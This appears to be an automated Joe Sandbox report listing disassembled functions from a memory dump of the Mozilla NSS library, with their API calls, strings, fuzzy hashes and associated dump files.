Instruction ID: cdac4996a036c3a19ea74bd93bb09e72bb56cf3516e1cd0f73992ec3724dc722
Opcode Fuzzy Hash: c1d1f2148ba4a27345a3d394b9a28ba7cf731c9d9c00df6c92d1e34a04b26439
Instruction Fuzzy Hash: 1A619FB1E152068BEB00CB64C9406EEB7B3AF45318F284165D425ABB51E732DD17CB99

Function 6C768F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C767313), ref: 6C768FBB

Part of subcall function 6C7607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C708298,?,?,?,6C6FFCE5,?), ref: 6C7607BF
Part of subcall function 6C7607B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7607E6
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C76081B
Part of subcall function 6C7607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C760825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C767313), ref: 6C769012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C767313), ref: 6C76903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C76909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C767313), ref: 6C7690F1

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C767313), ref: 6C76906B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C767313), ref: 6C769128

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 275c215812ea02eef4ae776730a60c93ca998f6903bbef1dcbf316d29599acb0
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 31519F71A002029BEB148F6BDE48B66B3F5AF64358F254039DD55DBF61EB32E804CB91

Function 6C719C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C718850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C720715), ref: 6C718859
Part of subcall function 6C718850: PR_NewLock.NSS3 ref: 6C718874
Part of subcall function 6C718850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C71888D

PR_NewLock.NSS3 ref: 6C719CAD

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C719CE8
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D01
TlsGetValue.KERNEL32(?,?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D38
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D4D
PR_Unlock.NSS3 ref: 6C719D70
PR_Unlock.NSS3 ref: 6C719DC3
PR_NewLock.NSS3 ref: 6C719DDD

Part of subcall function 6C7188D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718906
Part of subcall function 6C7188D0: EnterCriticalSection.KERNEL32(?), ref: 6C71891A
Part of subcall function 6C7188D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C71894A
Part of subcall function 6C7188D0: calloc.MOZGLUE(00000001,6C72072D,00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718959
Part of subcall function 6C7188D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C718993
Part of subcall function 6C7188D0: PR_Unlock.NSS3(?), ref: 6C7189AF

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction ID: d2e74c426cf38bc6ede8cf96619a502fd68c050ad981e52b120e37d145e503cf
Opcode Fuzzy Hash: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction Fuzzy Hash: 3D519470A187059FDB00EF69C28965ABBF0BF54348F198539D8989BF11E730E845CBD1

Function 6C819EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C819EC0
EnterCriticalSection.KERNEL32(?), ref: 6C819EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C819F73
EnterCriticalSection.KERNEL32(?), ref: 6C819FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C819FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C819FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C81A01D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction ID: 7d7f9ba3b631d0264fc366aaf576062ef4eea16a458dd8124c1f3d7a68659cc5
Opcode Fuzzy Hash: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction Fuzzy Hash: C851DFB2904602DFCB209F25C58868AB7F0FF14318F15896AD85957F12E731F888CBD2

Function 6C70DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C70DCFA

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C70DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C70DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C70DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C70DD8F

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_DestroyCertificate.NSS3(?), ref: 6C70DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C70DDB7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 6b24a2faabd4a522642c5b9cddf9343c65dc7fc2a4a0e02c49aa52a79c972240
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 7C21ACF6F012169BDB019EA5DE469AFB7F4AF25318B140032ED08A7701F721E914CBE6

Function 6C795F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F72

Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED8F
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED9E
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FCC
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FF4
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796036

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction ID: 36c84561a8631d2d89150570f22e8da14aa1f55dc1382b1f09d4cf730b366980
Opcode Fuzzy Hash: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction Fuzzy Hash: A1214DF1A04B009BEA619F75E848BD377E9AB4571DF100938E46AC7640EB76E019CBD1

Function 6C703C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C77460B,?,?), ref: 6C703CA9
EnterCriticalSection.KERNEL32(?), ref: 6C703CB9
PL_HashTableLookup.NSS3(?), ref: 6C703CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C703CD6
PR_Unlock.NSS3 ref: 6C703CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C703CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C703D03
PR_Unlock.NSS3 ref: 6C703D15

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction ID: 1d05e2d45fcd1058a1801796126e90232c206cb5c062ce68c67d3861ef5a600b
Opcode Fuzzy Hash: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction Fuzzy Hash: 071106BAF00115B7EB111B359D0ACAA3AB9EB1225CB154170EC1883711FB22D868C7D2

Function 6C709C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7211C0: PR_NewLock.NSS3 ref: 6C721216

free.MOZGLUE(?), ref: 6C709E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E4E
TlsGetValue.KERNEL32 ref: 6C709EA2

Part of subcall function 6C719500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C719546

EnterCriticalSection.KERNEL32(?), ref: 6C709EB6
PR_Unlock.NSS3 ref: 6C709ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C709F18

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction ID: 1c9cde160883964fe438bc514382091b018052660e36536e108538569f8cc270
Opcode Fuzzy Hash: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction Fuzzy Hash: 7C81D5B2A04201ABE7109F34DE49AAB77E9BF6524CF184538EC5987F41FB31E918C791

Function 6C71DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32 ref: 6C71DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C71DD0E
PK11_IsFriendly.NSS3(?), ref: 6C71DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C71DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71DEA6
PR_Unlock.NSS3(?), ref: 6C71DF08

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction ID: 5b7385d2e6f915d891f2435d8e46ca84084f02b914b44999ff150734bc3fda14
Opcode Fuzzy Hash: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction Fuzzy Hash: A39102B5A041019FDB01CF68CA89BAAB7B5BF64309F194039DC189BF41E731E909CF95

Function 6C6D5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60AB
sqlite3_config.NSS3(00000004,6C824CA4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60EB
sqlite3_config.NSS3(00000012,6C824CC4,?,?,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D6122

Strings

%s at line %d of [%.10s], xrefs: 6C6D60A4
misuse, xrefs: 6C6D609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D6095

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction ID: 9f05679f929b0c61685c4b7d14c863709d44702eb17a67664100088c803228ba
Opcode Fuzzy Hash: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction Fuzzy Hash: 24B17274E0464ACFCB54CF5CC6809A9B7F0FB1E308B458569D509AB322E778BA84CBD5

Function 6C684F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6851BB

Strings

%s at line %d of [%.10s], xrefs: 6C6851B4
unable to delete/modify user-function due to active statements, xrefs: 6C6851DF
misuse, xrefs: 6C6851AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6851A5

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction ID: 1072135d429a6882949201caef5d6261595f3bd03dd3fb2b84785209ccee8426
Opcode Fuzzy Hash: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction Fuzzy Hash: 6B71AE7560520A9FEB01CE55CD80BEA77B9BF48308F044528FD1A9BB81D731E854CBA5

Function 6C6F2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C6F2D69

Strings

winUnmapfile2, xrefs: 6C6F2F7F
winUnmapfile1, xrefs: 6C6F2F55
winTruncate1, xrefs: 6C6F2EBE
winTruncate2, xrefs: 6C6F2EF8
winSeekFile, xrefs: 6C6F2E9C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction ID: 961276c8755fd98f512dc2d16875b5176b2ce984099a806ed161c6bed8072669
Opcode Fuzzy Hash: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction Fuzzy Hash: 8761B171A002059FDB54CF64DC98AAA77B2FF89318F20853CE9199B780DB34AD06CF95

Function 6C76FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF81
